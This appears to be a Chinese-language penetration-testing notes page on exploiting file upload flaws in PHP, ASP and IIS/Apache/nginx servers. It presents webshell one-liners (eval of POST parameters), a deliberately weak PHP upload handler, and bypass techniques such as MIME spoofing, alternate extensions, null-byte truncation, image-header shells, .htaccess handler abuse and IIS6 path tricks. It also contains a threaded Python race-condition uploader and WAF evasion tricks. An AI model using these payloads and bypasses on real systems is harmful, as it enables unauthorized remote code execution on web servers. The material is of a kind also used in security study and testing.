文件上传实现
HTML 代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<html> <head><title>upload picture more once</title></head> <body> <form action="1.php" method="post" enctype="multipart/form-data"> <p>Pictures:<br /> <input type="file" name="2333" /><br /> <input type="submit" name="upload" value="Send" /> </p> </form> </body> </html>
|
假设我们提交了一个写着 phpinfo() 的 php 文件,然后这个 HTML 会将上传的文件以如下发包方式发过去
1 2 3 4 5 6 7 8 9 10 11
| ------WebKitFormBoundary5cOINdf9NfnWclrC Content-Disposition: form-data; name="upload_file"; filename="1.php" Content-Type: application/octet-stream
<?php phpinfo();?> ------WebKitFormBoundary5cOINdf9NfnWclrC Content-Disposition: form-data; name="submit"
涓婁紶 ------WebKitFormBoundary5cOINdf9NfnWclrC--
|
然后传到 server.php 中时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php"); $file_name = trim($_FILES['upload_file']['name']); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
具体 $_FILES 用法详见[[PHP全局变量#$_FILES]],而 $_FILES[][] 后一个中括号里的数组内容可以是:
1 2 3 4 5 6 7 8 9
| $_FILES['myFile']['name'] 客户端文件的原名称。
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)
|
文件上传技巧
参考[[从PHP代码层面分析文件上传漏洞]]
0x00.Tips
1 2 3 4 5 6 7 8 9
| * asp一句话木马: <%execute(request("value"))%>
* php一句话木马: <?php @eval($_POST[haha]);?>
* aspx一句话木马: <%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
|
1 2 3
| phpinfo(); system('ipconfig') 或者在前面加上echo('<pre>');来使输出的文件变得规整
|
本地验证
可以根据上传后的验证速度初步判断是不是本地验证,有可能会有:
1
| onsubmit="return checkFile()"//删掉就好
|
也有可能是 js 限制,不过如果还是前端的话,改一下就好
文件类型验证
- 如果说服务器检查的是文件的类型 MIME,那么可以更改相应的类型来达到伪造上传的效果,例如:
1 2 3 4
| php上传后默认是: text/plain 我们可以更改为 image/jpeg(这个具体是什么视情况而定)
|
偶尔可以尝试将.php 先改为.jpg,再在 burp 的抓包里改回来
文件后缀名验证
可以更改文件的后缀名来绕过黑名单,例如:
php 别名
1 2 3 4 5 6
| .php2 .php3 .php4 .phps .pht .phtml
|
对图片内容给进行验证
就是图片马
如果没对图片后缀进行验证,那么改后缀为 php 即可。但是如果对后缀进行了验证,我们就必须上传图片后缀文件,同时里边加上 shell 代码。
空字节截断
如果抓包中有显示文件上传的相对路径名字,那么可以尝试在路径后面做出改变,例如:
1 2 3
| 1.php+空格+1.jpg 及:1.php 1.jpg 然后在HEX十六进制的页面,将自己的空格(20)改为00,再回去看那个地方空格会变成一个小白方格
|

上传的时候就会自动忽略.jpg
服务端检测文件内容
如果只校验 php/asp 等后缀名内容是不是木马
我们可以通过先去上传一个含有木马的 txt 文件
然后再上传一个有[[文件包含漏洞]]操作的无害 php 文件,
1 2 3 4 5 6 7 8
| #PHP <?php Include("上传的txt文件路径");?> #ASP <!--#include file="上传的txt文件路径" --> #JSP <jsp:inclde page="上传的txt文件路径"/> or <%@include file="上传的txt文件路径"%>
|
服务端检测文件头
1 2 3
| PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识) GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61
|
在木马前加上文件相关文件头就好了
例如
1 2
| GIF89a <?php phpinfo(); ?>
|
条件竞争上传
上传的脚本绕过了过滤,但是在那边会被查杀删除,所以我们可以
原理:写一个脚本,使用一个多并发线程发送 shell,同时时刻访问那个 shell,总有一个会连接上
脚本示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import os import requests import threading
class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = "http://127.0.0.1:8080/upload/shell0.php" self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"
def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print("[*]create file info.php success") os._exit(0)
def _upload(self): print("upload file.....") file = {"file":open("shell0.php","r")} requests.post(self.uploadUrl, files=file)
def run(self): while True: for i in range(5): self._get() for i in range(10): self._upload() self._get()
if __name__ == "__main__": threads = 20
for i in range(threads): t = RaceCondition() t.start()
for i in range(threads): t.join()
|
WAF 骚操作绕过
- 删除 Content-Disposition 与 form-data 中间默认有的空格
更改 Content-Disposition 字符中的大小写
1
| shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
|
直接删除 Content-Type 整行
删除掉 ontent-Type: image/jpeg 只留下 c,将.php 加 c 后面即可,但是要注意额,双引号要跟着 c.php
1 2 3
| 正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png 构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png C.php"
|


- Content-Disposition 参数后面去加垃圾数据,导致 waf 出错
Content-Disposition 在请求头中时
通常存在于 multipart/form-data 请求体中
1
| Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"
|
在响应头时,表示页面以什么形式呈现
是参数inline 时,以页面或页面的一部分渲染呈现
是参数attachment时,将页面作为文件下载
1 2 3 4 5 6
| Content-Disposition: inline
Content-Disposition: attachment
Content-Disposition: attachment; filename="filename.jpg"
|
0x01.Apache
当文件上传过去的时候,Apache 从右向左对文件名进行解析
上传 1.php.bak 或者任意一个编造的后缀
在某些版本可当做 php 来执行(因为 apache 从右到左对文件名进行解析,而 .bak 是 httpd.conf 识别不了的文件名后缀,
故 apache 会自动提取左边的.php)

创建一个文件名为.htaccess 的文件,保存格式为 eXtensible Markup Language file
内容为:
1 2 3 4 5 6
| <FilesMatch "cimer"> SetHandler application/x-httpd-php </FilesMatch>
将.htaccess上传到指定页面中(它是配置文件,所以不会被拦截),然后将自己的.php代码更改后缀名为.cimer(自己起的那个)上传 菜刀连接时同样访问这个****.cimer就好。
|
0x02.nginx
1 2 3 4 5
| 只有当有函数getimagesize()作过滤的时候(会检查文件头,图片的长宽等),才需要使用图片马。
图片马可以通过cmd中copy来制作 ,假设图片是1.jpg,马是2.php,最后生成3.jpg
copy 1.jpg/a+2.php/b 3.jpg
|
最后需要将文件名改为 3.jpg.php,才可以连接菜刀。
0x03.IIS6.0
IIS6.0 的解析漏洞
- 随便上传一张图片,更改包内上传文件保存的地址,增加一个 1.asp/,比方说
1 2 3 4 5
| 包内显示原上传路径为:upload/ 这时需要更改为:upload/1.asp/ 或者1.php
这样那个图片文件就会默认保存在1.asp/后边的目录了,记录下上传后的文件名 然后菜刀地址里就写:...../upload/1.asp/haha.jpg,输入密码即可连接
|
这时候 IIS 就会自动忽略不解析/haha.jpg 这段内容,直到 1.asp 就停止了
- 随便上传一张图片,仍然是更改包中的路径,但这次利用分号
1 2 3 4 5 6
| 包内显示原上传路径为:upload/ 这时需要更改为:upload/1.asp;
上传完后,上传的图片(其实没有)和1.asp都是同在upload文件夹下面的 所以菜刀的连接地址为:upload/1.asp;1.jpg
|
系统会认为分号是一个内存断点